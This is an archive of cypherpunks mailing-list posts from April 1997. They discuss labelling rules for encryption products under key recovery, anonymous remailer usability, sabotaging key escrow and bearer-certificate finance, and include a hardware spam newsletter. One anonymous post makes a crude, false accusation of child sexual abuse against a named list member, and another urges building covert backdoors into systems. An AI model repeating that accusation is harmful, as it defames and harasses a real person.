1997 is the requirement that encryption software be labelled as to whether it uses Key Recovery Agents. While most cypherpunk-friendly software will be proud to label itself as non-GAKked, it seems to me to be fairly ominous, and is an important step towards banning non-GAK crypto altogether. I think it would be cool to combine the labelling requirement with a public relations campaign, not unlike the blue ribbon of last year. My proposal for the "no GAK" logo: a yellow star. To me, the symbolism is pointed and poignant, but on the other hand it may come dangerously close to invoking Godwin's law. If anyone else has any ideas for a logo that would get the point across equally well but be a little less controversial, I'd like to hear them. Raph P.S. My work on distributed key publication for the Internet is progressing very well. I'll give an update at the next bay area meeting, and there will be some UC Berkeley tech reports soon too. If my ideas fly, they will make Key Recovery Agents moot for a lot of people. From nobody at huge.cajones.com Tue Apr 1 14:24:05 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 1 Apr 1997 14:24:05 -0800 (PST) Subject: hi-tech ROT-13 Message-ID: <199704012224.OAA19578@fat.doobie.com> Andy Dustman wrote: > > The main problem I see with the various key-passing schemes is that they > aren't useful if the receipient is cryptographically-challenged, which is > why I'm presently inclined to stick with just the magic cookie exchange > without crypto (unless the recipient can supply a PGP public key). Andy seems to realize something that many people don't, which is that all of the cypherpunk discussions as to security, privacy and anonymity are just preaching to the converted unless the end result is a program that the average joe can actually use. I am personally GUI-challenged, but that is what most people know and can actually work with. Even then, the average user doesn't know enough about his or her system and software to do anything remotely exotic to install it. What you or I might consider simplistic (e.g. changes to a config.sys file), might be a journey onto dangerous ground for someone who may have to pay someone $50.00/hr or more in order to get their machine running again if something gets screwed up. The bottom line is that people want something that they halfway recognize and feel comfortable with, and is written to be self- installable by someone who actually knows what the hell all those things inside their computer do. I used to tell people, "I invented a pill that cures Alzheimer's, but it doesn't do any good, because nobody remembers to take it." If the goal is to make anonymous remailers available to those who need them, then one must also consider the computer knowledge and capabilities of those who have a genuine need for anonymity for safety reasons. Assholes and the spammers will always take the time to learn what they need to know to spread their bullshit, but what about people who have a one or two-time legitimate need to pass information along in saftey? Even though unencoded, direct use of an anonymous remailer is not that complicated, many people today think that a command line is "Sit, Rover, sit!" and if you ask them about syntax they look at you funny and say they think they paid it when they bought the condoms. Raph Levien's list of remailers is great, but he fails to give simple instructions as to how to get remailer help/instructions from different remailers. And some of the remailers autobot help replies are rather vague even to those who know computers well. The Anonymous Nymserver was a great, easy to use GUI interface that Jane Average could use, but it seemed to be some kind of interesting programming project to its author, who folded at the first hint of trouble, expressing great surprise that there are assholes in the world. After folding, his great concern seemed to be to find somebody to buy his software, which he had just finished explaining would cause a great deal of grief to anyone who chose to run it. (And if you act now, we'll stab you with the Amazing Ginzu knives!) Actually, however, he is still providing services for people who pay a slight sum ($20/yr ??), so he is actually furthering the spread of anonymous remailers, even if he is limiting them in some ways. (I had no problem with him wanting some reimbursement for his efforts in writing the software. It's just that he sounded like he wanted someone to pay premium dollars for his learning curve in order to buy his software so that they could run it as a free service to others.) If remailers are to survive, then programs have to be written that address the capabilities and morals of a new breed of user. Although I appreciate the efforts of many cypherpunks who originally had a hand in developing the remailer system, I am not so naieve as to think it was all done merely for humanitarian reasons, etc. The question is, now that many of the cypherpunks have moved on to busier lives, and the programming details that were once "fun" are now "work," are there still those who have a committment to advance the development of the remailers, at least partially as a public service, or to encourage and help those who may not have the expertise, but who are willing to learn? I have read complaints about the thanklessness of providing a service that provides an avenue for abuse, with little indication of actually providing essential privacy needs for those in genuine need of security in anonymous communications. Yet those most in need of this type of service for legitimate anonymity may only be a one-time user, and computer illiterate, unable to use anything other than a GUI. If the cypherpunks want to wax eloquently about good intentions then we must change the technology to enable those intentions to come to fruitation in today's Net climate, or remailers will go the way of the dinosaurs, being of use only to a few elite and a plethora of assholes. Although I have little expertise in the technical area surrounding remailers, I do not take lightly my call for the remailer theorists to actually walk their talk, and produce a product suitable for general use. I have risked my physical freedom in the past in order to bring information and knowledge to those in oppression, and will likely do so again in the future. (As a matter of fact, one of the items which I risked life and limb carrying into a fascist state was a cypherpunk product. Spooks who get caught doing this get 'traded' back to the home team, but ordinary citizens do not.) TruthMonger From newsletter at shoppingplanet.com Tue Apr 1 15:29:35 1997 From: newsletter at shoppingplanet.com (newsletter at shoppingplanet.com) Date: Tue, 1 Apr 1997 15:29:35 -0800 (PST) Subject: PC Shopping Planet - Tech Info-Letter Message-ID: <04360572602808@shoppingplanet.com> TECH INFO-LETTER A Subscription-Only PC Upgrade Update PC Shopping Planet http://www.shoppingplanet.com March 25, 1997 <-Expand your screen to make a single line for best viewing-> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx If you no longer want to receive the SP Newsletter, send this email or reply to this address: unsubscribe at shoppingplanet.com Your email address is: cypherpunks at toad.com xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx In this week's issue: 1. MMX Watch 2. A River Runs Through "IT" 3. Buy Me A River 4. Hot Deals xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx http://www.shoppingplanet.com 1-800-779-8461 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1. MMX Watch Intel Pentium MMX ---> Available Now! AMD K6 MMX ---> April Intel Pentium Pro MMX (Pentium II/Klamath) ---> May Cyrix M2 180 & 200 MHz MMX ---> July Please remember that supplies will be very tight immediately after release. If you have an application now, don't wait! Purchase the chip you need today and upgrade to MMX later (especially when prices come down). xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx http://www.shoppingplanet.com 1-800-779-8461 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 2. A RIVER RUNS THROUGH "IT" The Pentium Pro has been the processor of choice for networked desktop computers running Windows NT. But Intel is now about to flood the Information Technology (IT) market with a river of new processors. Each of these chips provides a growth path for the Pentium Pro and guarantees many years of technical improvement. However, the Intel upgrade path requires - at a minumum - a Pentium Pro motherboard or, preferably, a new "SEC" motherboard. Interestingly, all the new chips have been given the same names as rivers in Oregon: Klamath, Tillamook, Deschutes, Katmai, Willamette and Merced. Why has Intel done this? The new chips are a joint design project involving Intel's Hillsboro, Oregon facility, along with the Santa Clara, CA headquarters. And the river that joins the Oregon/California border is... the Klamath! Since everything starts with the Pentium Pro, a quick note about the existing microprocessor approach. The current Pentium Pro uses a dual-chip design that couples the CPU (with its built-in L1 Cache) and the 256K secondary L2 cache chip on a single die that plugs into a socket on the system motherboard. However, the new designs split the components and places them on a single cartridge that plugs directly into a motherboard. KLAMATH This is the Pentium Pro with MMX Technology, also known as the "Pentium II". This processor is the first of the P6 (too advanced to be called a 686) generation of CPUs. The Klamath/Pentium II creates a major break with existing chip and motherboard designs. It incorporates all the basic features of MMX: a larger Level 1 cache for fast data access, plus the 57 new multimedia extensions. Using a 0.35-micron CMOS process, a larger die size is produced, but with lower power consumption. Accordingly, the motherboard voltage has to be reduced. Most importantly, the Klamath/Pentium Pro MMX design is quite different than the previous Pentium Pro. The separate CPU (with built-in L1 Cache), and the L2 cache chip sits in a metal and plastic encased card called a Single Edge Contact (SEC) Cartridge. The cartridge will plug into a slot on the klamath-compatible motherboard. Intel says future processor upgrades will become simpler because of the separation of the components and ability to configure individual CPU/L2 combinations into cartridges. The Pentium MMX was only supposed to run at 166 MHz and 200 MHz. But, in response to Cyrix's announcement of one of their MMX compatible M2 chips running at 225 MHz, Intel decided to make a faster 233 MHz Pentium MMX version. However, the Pentium Pro MMX was supposed to run at the higher 233 MHz speed. So Intel will release the Klamath/Pentium II MMX at 233 MHz, 266 MHz and 300 MHz. Intel will release a Klamath motherboard at the same time as the chip. And many of the independent motherboard makers are working on Klamath-compatible designs that will be released the same time as Intel's board. Because of design changes, current Pentium Pro motherboards will not be able to accept the new cartridges directly. However, it is expected that Intel -and others- will release a connector that will allow the SEC cards to fit on existing Pentium-Pro motherboards. TILLAMOOK This is the notebook version of the Pentium Pro MMX scheduled for the Fall of this year. The cartridge design will require an overhaul of all portable motherboards, so this is Intel's opportunity to attempt to corner the notebook motherboard market. The Intel motherboard "module" will consist of the board, the MMX procesor, high-speed cache memory, a power supply, and circuitry for controlling the PCI bus and memory. In effect, with a prebuilt module, Intel will provide almost everything necessary for computer manufacturers to produce high-end notebooks. DESCHUTES To be introduced by the end of 1997 or early 1998, this is the "shrink" notebook version of the Pentium Pro MMX. The chip will be manufactured with a new 0.25-micron process (about one four-hundredth of a human hair) so that the chip will run faster (higher clock rates of 300 MHz to 333 MHz) but at a lower voltage resulting in less heat. Deschutes, will be Intel's first chip to support a 100MHz CPU bus and 1MB cache. That would be a measurable improvement over bus speeds on current processors that peak at 66MHz. KATAMI Multi-Media Extensions have just been introduced, but Intel is already planning an enhanced instruction set and better support for 3D graphics in this Spring 1998 version of the Pentium Pro MMX. Using the 0.25-micron process, Intel has demonstrated a chip running at 451 megahertz. The desktop cartridge will also have a larger cache. WILLAMETTE A further improvement scheduled for late 1998, this Pentium Pro MMX cartridge will offer more execution units and run on a faster 100 MHz bus. It will have a larger die size, but will offer up to a 50% performance boost over Klamath. MERCED Developed in conjunction with Hewlett-Packard, this cartridge won't be released until 1999. It will be the first P7-family microprocessor with 64-bit architecture. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx http://www.shoppingplanet.com 1-800-779-8461 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 3. BUY ME A RIVER The Klamath is actually available now. But the chip has to be placed in a Single Edge Contact (SEC) Cartridge. The cartridge then plugs into a special slot on the motherboard. Does your motherboard have a SEC slot? If not, you may have to buy a new motherboard to follow Intel's growth path. However, do you have a Pentium Pro motherboard? Intel says that they are planning to release a special connector that will permit the SEC to fit existing Pentium Pro motherboards. Our suggestion... Take a look at our Pentium Pro motherboards that provide an excellent platform for future upgrades. Then, when the SEC connector is released, you'll be able to move on to the Intel Klamath/Pentium II. We strongly recommend the M Technology R622 motherboard. It has the Intel Natoma chipset, and it is a AT Form Facator. Check it out at: http://www.shoppingplanet.com/Compu/Moth/48134.htm xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx http://www.shoppingplanet.com 1-800-779-8461 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx If you want to subscribe a friend to the Upgrade Update, send an email to subscribe at shoppingplanet.com with the subject line containing the new email address. Or, simply visit our site and enter the email address on our home page. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx http://www.shoppingplanet.com 1-800-779-8461 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 4. HOT DEALS! These are today's prices. As we immediately pass any price reductions on to our customers, please check our web site for the latest prices (in US dollars). NEW PRODUCTS - DIAMOND Supra Video Phone kit 3000_____________$ 303.00 A complete Plug and Play Kit that provides videoconferenceing over regular phone lines. Video Camera, built-in micro, a 33.6 Supra modem, Diamond Video Capture Card and software. - Texas Instrument TM5025________________________$1245.00 Pentium 75 Mhz, 16 MB, 810 MB hard drive, Active Matrix, 1 year warranty (refurbished) Check out this computer system from Texas Instruments! It has everything you need at a price you can afford! - Kit #9 Upgrade motherboard Kit_________________$ 249.00 A full upgrade Kit, easy to assemble and fully tested. AMD K5 PR-75 MHz, 16 MB memory, 1 MB Video Card, Sound Card, high performance motherboard, cooling fan and instructions - Kit #6 Upgrade Motherboard Kit________________$ 390.00 Get your computer up to full Speed!! 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MODEMS: ***** Note: US ROBOTICS $40.00 rebate ends on 03/31/97 ***** - US Robotics Sportster Winmodem 14.4 internal___$ 26.10 A GREAT price for a modem - US Robotics Sportster Winmodem 28.8 (free upgrade to 33.6 from US Robotics) internal, upgradeable to 56K____________________________$ 111.70 (Price BEFORE $40 mail-in rebate from US Robotics) - US Robotics Sportster 33.6, w/speakerphone & voicemail: (Upgradeable to 56K) external_______________________________________$ 217.80 internal_______________________________________$ 160.19 (Prices BEFORE $40 mail-in rebate from US Robotics) MEMORY: - 4 MB, 72 pin, 70 ns, non-parity________________$ 24.00 - 8 MB, 72 pin, 70 ns, non-parity________________$ 45.00 - 16 MB, 72 pin, 70 ns, non-parity_______________$ 91.00 - 4 MB, 30 pin, 70 ns, parity____________________$ 34.00 CPUs: - IBM P-200+___________________________________$ 221.80 - Intel Pentium 120 Mhz__________________________________$ 110.90 133 Mhz__________________________________$ 146.10 166 Mhz__________________________________$ 288.10 166 Mhz MMX______________________________$ 388.10 200 Mhz__________________________________$ 496.70 200 Mhz MMX______________________________$ 589.10 - Cyrix P-150+___________________________________$ 115.00 P-166+___________________________________$ 149.19 - AMD PR-75 MHz________________________________$ 40.50 PR-100 MHz_______________________________$ 78.30 PR-120 MHz_______________________________$ 92.90 PR-133 MHz_______________________________$ 92.00 PR-166 MHz_______________________________$ 170.20 HARD DRIVES: - Western Digital 1.6 Gb___________________________________$ 213.30 2.1 Gb___________________________________$ 233.30 3.1 Gb___________________________________$ 293.30 4.0 Gb___________________________________$ 373.30 - Seagate 1.08 Gb__________________________________$ 174.20 2.5 Gb___________________________________$ 239.80 TAPE DRIVES: - HP Colorado T1000 internal_____________________$ 122.60 - HP COLORADO T3000 Internal 3.2 Gb______________$ 187.00 - Iomega Jaz 1 Gb internal_______________________$ 364.90 - Seagate TapeStore 800 internal,800 MB tape_____$ 109.50 - Iomega Zip 100mb internal SCSI_________________$ 197.80 - Iomega Zip 100mb external SCSI_________________$ 198.70 VIDEO CARDS: - DIAMOND 3D 2000, 2 MB EDO______________________$ 99.90 4 MB EDO______________________$ 132.30 - DIAMOND 3D 3000, 2 MB VRAM_____________________$ 162.50 4 MB VRAM_____________________$ 219.60 - MATROX Millennium 2 Mb WRAM PCI________________$ 182.30 - CREATIVE LABS 3D Blaster, PCI, 4 MB EDO________$ 191.60 MONITORS: - Digiview, 15", 0.28 mm, digital control________$ 284.90 - Digiview, 17", 0.25 mm, on screen control______$ 725.00 - Viewsonic Optiquest 1769 DC, 17" 0.28 mm, digital control________________________________$ 522.70 MULTIMEDIA: - US Robotics BigPicture Video Kit_______________$ 368.50 Digital Camera, Video Card, Modem, Software and much more. - Diamond 12X CD-ROM Multimedia Kit______________$ 339.20 (12X CD-ROM, 16-bit PnP, Wavetable, 9 titles, speakers) Titles Included: Myst, Magic Carpet, Compton's Interctive Encyclopedia '96, Comix Zone, Corel Draw Virtua Fighter. - Creative Labs SoundBlaster 8X Multimedia Kit___$ 293.20 (8X CD-Rom, SoundBlaster 32bit,speakers,and 11 software titles) - GoldStar 16X CD ROM (up to 2.4 Mb/sec)_________$ 169.00 - Mitsumi 8X CD-Rom (1200 Kbps tranfer rate)_____$ 105.60 - NEC 6X4 (holds up to 4 CD ROMs! runs at 6X!)___$ 104.50 - SoundBlaster AWE64 IDE PnP PC__________________$ 175.80 - SoundBlaster 16 IDE PC_________________________$ 62.00 Please visit our site for our complete catalog and company information. http://www.shoppingplanet.com Or give us a call at 1-800-779-8461 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx If you no longer want to receive the SP Newsletter, simply reply to this address: unsubscribe at shoppingplanet.com with the subject "unsubscribe". xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx From nobody at huge.cajones.com Tue Apr 1 15:45:52 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 1 Apr 1997 15:45:52 -0800 (PST) Subject: Sabotaging Big Brother Inside Corporate Complicity Message-ID: <199704012345.PAA23018@fat.doobie.com> Kent Crispin wrote: > Owners of a business have the right to control the documents > associated with their business as they see fit, including using key > escrow and mandating it for all keys used by employees in the > business. Other companies see this as an opportunity to supply a > service or a product that facilitates this management. Both classes > of companies are pursuing completely legitimate ends. Therefore, > your call to sabatoge is doomed to failure in the long run, and > probably in the short run as well. And owners of a body and mind have a right to control the physical and mental environment that they live in, including using any means necessary to protect natural human rights that have been stolen by governments and profited from by companies who will help promote this theft for the right price. Tim's call to sabatoge is not doomed to failure as long as there are still individuals who have a conscience (and know how to use it.) People asked to build a potential Nazi death camp should always avail themselves of an option to build in a backdoor, in case the need should ever arise to use it. Or build a timebomb in a tank that can be activated if it is needed to destroy an advancing army of oppressors. Like it or not, we live in a predatorial universe, where the biggest carnivors make the 'rules' so that they get the lion's share of the meat, and thus remain the largest in the pack. Each organism, however, has their own strengths and their own methods of survival. Anyone who helps build the road to their own destruction, without availing themselves of every opportunity to sabatoge construction of that road, is a fool. The fact that a slave owner keeps his slaves well-fed and comfortable enough to cause him little trouble does not negate the fact that, when it better suits his purpose, he will use the whip to keep others in subjection to him. The time to make preparations for safety and flight is not after you are thrown in chains. The time is alwasy _now_. The fact is, there are many ways of preparing for future action which infringe little or none on the rights of others to act in their own best interest. Arming oneself to defend against possible threats doesn't infringe on others rights to defend themselves.. Armed groups passing laws to prevent others from being able to defend themselves does. No matter what lengths the government goes to to infringe on basic human rights, there will always be individuals and corporations fighting over who gets to profit from the actions, all the while claiming, "We don't put them in the ovens, we just turn on the gas." Do corporations have more rights than the citizens? That depends entirely on the citizens. TruthMonger "We have met the enemy, and he is Kent." From nobody at huge.cajones.com Tue Apr 1 16:22:04 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 1 Apr 1997 16:22:04 -0800 (PST) Subject: Analysis of proposed UK ban on use of non-escrowed crypto. Message-ID: <199704020022.QAA24113@fat.doobie.com> Kent Crispin dribbled syphlyrically: > Like it or not, businesses like -- no, *need* -- key escrow -- company > secrets can't go down the drain because someone gets hit by a truck. An exact quote from some of your earlier posts. Are you working from a cheat-sheet? Is someone _telling_ you what to say? Are they holding your kids hostage and _making_ you say this? Is it time for Big Brother to hire some fresh writers? TruthMonger From rah at shipwright.com Tue Apr 1 17:39:54 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 1 Apr 1997 17:39:54 -0800 (PST) Subject: Book-entry settlement mechanism Message-ID: --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: Robert Hettinga Mime-Version: 1.0 Precedence: Bulk Date: Tue, 1 Apr 1997 17:27:59 -0500 From: Robert Hettinga To: Multiple recipients of Subject: Re: Book-entry settlement mechanism At 2:23 am -0500 on 4/1/97, Somebody wrote: > I may have misunderstood some of your points but here goes.. I doubt you're misunderstanding anything, as I'm usually making this up as I go along, anyway. :-). So, let's see what we have, here... > Your model assumes distributed settlement facilities provided by > underwriters, issuers or transaction agents v the centralised model we have > today. Yes. > One of the problems with today's model is that there are too many > centralised agencies ie euroclear, dtc, local clearing systems which are > proprietary, complicating global settlement processes unnecessarily. Is > distributed processing efficient? *I* think so, if they all use the same cryptographic transaction protocols, which is what I've been talking about all along, here. If a cryptographic protocol breaks, the trade doesn't clear. I expect that settlement protocols, like internet protocols, will be open and standardized. That way, it doesn't matter who you're settling with, as long as long as their reputation is good. That reputation can be a distributed one, with a "reputation club", just like it is now. NASD membership, for instance, is a good present example. In the model we're talking about, if your key is signed by the club (association, syndicate, whatever) and not revoked, you're a member in good standing, so you're trustworthy for various kinds of transactions. > If I am a hedge fund buying a global > portfolio of stocks I do not want to have to settle individually with the > underwriter/issuer of each stock I purchase. See above. You get your information from different web sites, now, right? No difference, to my mind. > As you say, the underwriter > may well want to farm out this secondary market processing but I don't > think transaction agents will offer that service for nothing. In my example, they're selling the exaust, the pricing information they collect. New information is always more important than old information in a geodesic market, right? I say that secondary market transaction costs are still inconsiderable, for the most part. > Also because > no one has critical mass for a clearing service I the investor end up > paying over the top. I think that you're looking at a world where there are economies of scale, here. As I said elsewhere, that "critical mass" continues to get smaller and smaller, particular in "switching" activities like trade clearing. One of my many groundless claims about all this is that the transfer price inside operating units of larger entities converges toward the market price between small independant entities. Exactly the opposite of what happens in industrial communications networks. Cf. all my various rants on Moore's Law and geodesic networks. The upshot is that organazitions map to their communication structures, and hierarchical, economies-of-scale markets and organizations don't work in that kind of world. > I also don't think it's more efficient for investors > to pay transaction agents for the resulting price information - again if I > am a global investor I don't want to pay for hundreds of different price > feeds. Again you can see information agents entering the market but this > is simply what we have today. Yes, but the information is ubiquitous, and, of course, it's distributed geodesically. Anybody with a reasonably fast machine can purchase pricing from all those places, or even a reasonable statistical sample, and "publish" that information. More to the point, people with new pricing information will probably auction it off on a non-exclusive basis. Remember Cronk's geodesic information auction talk during the rump session in Anguilla? People with the most to gain from the newest information, pay the most for it, usually because they resell it to others, but also because they might need it to trade with. > 'the operating costs of exchanging certificates for the secondary market is > minimal'. Certainly it could be cheaper than it is today but minimal costs > rely on the counterparties applying simultaneously and there being no > hitches on the authentication. Of course. "Assume a frictionless surface", and all that. However, just because the mathematics of the situation varies slightly from reality, doesn't mean that it's wrong. Physics versus Engineering. Frankly, I think that "no hitches in the authentication", being the most important business necessity for the underwriter, will have to be be the *first* thing to work. :-). Fortunately, that's not too difficult a problem with these cryptographic protocols. In addition, the operative clause in your sentence above is "certainly it could be cheaper than it is today". If it's "cheap" enough, and that is yet another unsubstantiated claim of mine requiring actual data :-), then it's good enough to use. H1 replaces H0, in statistical parlance. > How could investors sell short? Same way they do now. By borrowing certificates from somebody, and paying the lender back with others. If the borrower doesn't pay those certificates back, it's reputation "capital punishment". > How would > the clearer cope with back to back trades? How can we ensure that this > technology is standard so that investors don't have to deal differently > with each clearer? See above. With a standard protocol. The internet is one big standard protocol, right? > I don't think your argument about seven years of audit trails etc is > focused on net v book entry settlement but rather on the structure of the > industry as it stands. The seven years of audit trails could stand equally > in the new world since regulators might demand it (say they want to > investigate a fraud) and you want some minimal regulation (do you worry > about market manipulation for example?). See Suppose you could punish someone without needing the physical force of a nation state to do it. Reputation is orthogonal to identity in cypherspace. The ultimate sanction in a geodesic market is the loss of one's reputation. It's equivalent to capital punishment, because no one will ever trade with you again. And, the most important point, that reputation adheres to your digital signature, not your physical person. Biometric identity, audit trails, etc., are no longer necessary. So, if you can have non-repudiation through cryptographic protocol (to keep the trades from breaking, and, more to the point, to make them settle instantly) and reputation (to keep people from defrauding you), *what* exactly do you need market "regulation" for? > You could certainly simplify the > current structure ie eliminate custodians, eliminate brokers, merge > exchange and clearinghouse. But even with this new technology you would > need to be able to reconcile your holdings against the underwriter (human > error doesn't go away) and the underwriter has to keep an account of the > holdings for dividend/coupon purposes. Not if the coupons are actual certificates. For a bond and its coupons, you just issue a bundle of bearer certificates comprising the coupons and the principal. You could even "strip" them apart and sell them idividually in a secondary market, if you can find someone to buy them. :-). At redemption time, it would be just as if someone mailed in the little coupon they clipped off a paper bearer bond, only I send them digital cash, instead of a check. Don't need to know, or care, who they are. It's cheaper that way. For dividends, there are lots of different zero-knowlege cryptographic proofs that you can run using a digital bearer stock certificate, as the "information" that you want to prove you have. (See Bruce Schneier's "Applied Cryptography", 2nd ed., for this.) I call a dividend, people send me a hash (or something) of the certificate to prove they have it, and I send them digital cash in a message encrypted to them alone. Dividend paid, all on a bearer basis. You can do the same kind of thing for proxies, too. Yes, there are anonymous voting schemes. Welcome through the looking glass, Alice. > Finally, I'd like to understand how the investor gets best execution > (agreed that he isn't getting it at the moment). How does your investor > know he is getting best price? Because he's picking the seller out of the equivalent of an open-outcry market. > How much structure will you impose? The market imposes structure on itself. Economic reality is not optional. Reality dictates politics, not the other way around. > What is > a more efficient way of providing price information and price history? The most "efficient" way is the market's way. You know that. The more information you put into a market, the more efficient it is, modulo psychology, like motl^h^h^h^h greater fool theories, which we really can't do anything about, anyway. > PS I've been reading The House of Morgan (history of JP Morgan, Morgan > Grenfell, Morgan Stanley etc) over the weekend. Although it is difficult > to find the right balance, it is a useful reminder of the dangers and costs > of unrestrained, unregulated capital and how we ended up with the today's > regulatory structures. I used to be a clerk at Morgan Stanley. My first job out of college. I read HOM about 5(?) years ago, after it came out. I read the book the same way you did, until I discovered this financial cryptography / geodesic market stuff. Now I see all that stuff completely differently. Morgan was "integrative", because that's the way communications technology was organizing things, into larger and larger hierarchies. I consider myself "disintegrative", because that's the way communications technology is organizing things, "surfacting" them into smaller and smaller entities on a ubiquitous geodesic market-network. By the way, my favorite J. Pierpont Morgan story is at the front of the book, where they haul him in front of Congress, after saving the US economy three(?) times and filling the mint twice(?), primarily because he has more money and financial power than God. :-). They ask him what is the most important thing to have to be a banker. His answer: Character. Something like, "Character. I wouldn't buy anything from a man with no character if he offered me all the bonds in Christendom." That's why we didn't need regulation in the original paper-based, instant-settled bearer certificate financial markets, the buttonwood tree on Wall Street, or the coffeehouse called Lloyd's, or a bunch of merchants in the City. Reputation ("Character") was good enough. It was a financial actor's most precious asset. Things changed from that, to the hierarchical, book-entry world we have today, because we needed to communicate long distances and had only humans to switch the information around. The technology you saw in Anguilla is about to change all that. I'll make one or my famous wild-eyed claims here, and say that the *only* reason we need market "regulation" is because our industrial communications technology required us to use book-entry settlement, which in turn required the force of nation-states to ensure non-repudiation. We don't need information hierarchies, much less book-entry settlement, anymore. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ ---------- The e$ lists are brought to you by: Intertrader Ltd - Commerce Solutions in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$? Help pay for it! See Or, for e$/e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From lucifer at dhp.com Tue Apr 1 18:03:32 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Tue, 1 Apr 1997 18:03:32 -0800 (PST) Subject: [URGENT] Zero-knowledge commit Message-ID: <199704020203.VAA31255@dhp.com> Timmy May prefers to have sex with little kids because his own penis is like that of a three-year-old. ! ! - - * * Timmy May ( < ) o From stewarts at ix.netcom.com Tue Apr 1 20:12:11 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 1 Apr 1997 20:12:11 -0800 (PST) Subject: [NOISE] labelling requirement in EDSA 1997 In-Reply-To: <33416EA3.51EA17A@acm.org> Message-ID: <3.0.1.32.19970401201114.00639090@popd.ix.netcom.com> At 12:22 PM 4/1/97 -0800, Raph Levien wrote, about a topic which I was also posting about > I think it would be cool to combine the labelling requirement with a >public relations campaign, not unlike the blue ribbon of last year. > My proposal for the "no GAK" logo: a yellow star. To me, the >symbolism is pointed and poignant, but on the other hand it may come >dangerously close to invoking Godwin's law. If anyone else has any ideas >for a logo that would get the point across equally well but be a little >less controversial, I'd like to hear them. I guess Raph's taking the high road while I'm taking the low road.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Tue Apr 1 20:13:52 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 1 Apr 1997 20:13:52 -0800 (PST) Subject: Key Recovery Agent Non-use Logo Message-ID: <3.0.1.32.19970401195026.0062c8e0@popd.ix.netcom.com> The proposed crypto law that the Administration is trying to foist on CONgress includes the following wonderful provision: > TITLE V -- OTHER KEY RECOVERY PROVISIONS >SEC. 501. LABELING OF ENCRYPTION PRODUCTS. >(A) Any person engaged in manufacturing, importing, packaging, >distributing or labeling of encryption products for purposes of sale or >distribution in the United States shall package and label them so as to >inform the user whether the products use Key Recovery Agents registered >under this Act for storage of recovery information, and whether such >products are authorized for use in transactions with the United States >Government, as specified in regulations promulgated by the Secretary. Yes, that's right, if you're selling crypto products in the US, if they talk Congress into passing this law, even if you're not participating in the Key Recovery Agent program, you'll be required to label your software to indicate whether or not you are. To simplify this process, I've designed a logo* for non-users of the Key Recovery Agency Program to put on their software. [*Ok, actually I ripped it off from Intel, but the Supreme Court says artistic parodies are legal :-) If a Real Artist wants to improve it, thanks! ] The text of the proposal and the CDT's analysis can be found at: http://www.cdt.org/crypto/admin_397_draft.html nokrap.gif # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) -------------- next part -------------- A non-text attachment was scrubbed... Name: gif00000.gif Type: application/octet-stream Size: 7587 bytes Desc: "" URL: From rah at shipwright.com Tue Apr 1 20:48:23 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 1 Apr 1997 20:48:23 -0800 (PST) Subject: Value Added Marketspace Model -- The Paper Message-ID: --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: "R. Jason Cronk" Mime-Version: 1.0 Precedence: Bulk Date: Tue, 1 Apr 1997 21:58:01 +0000 From: "R. Jason Cronk" To: Multiple recipients of Subject: Value Added Marketspace Model -- The Paper I've put my never to be finished paper on the value added marketspace model, which I briefly described at FC97, on the WEB at 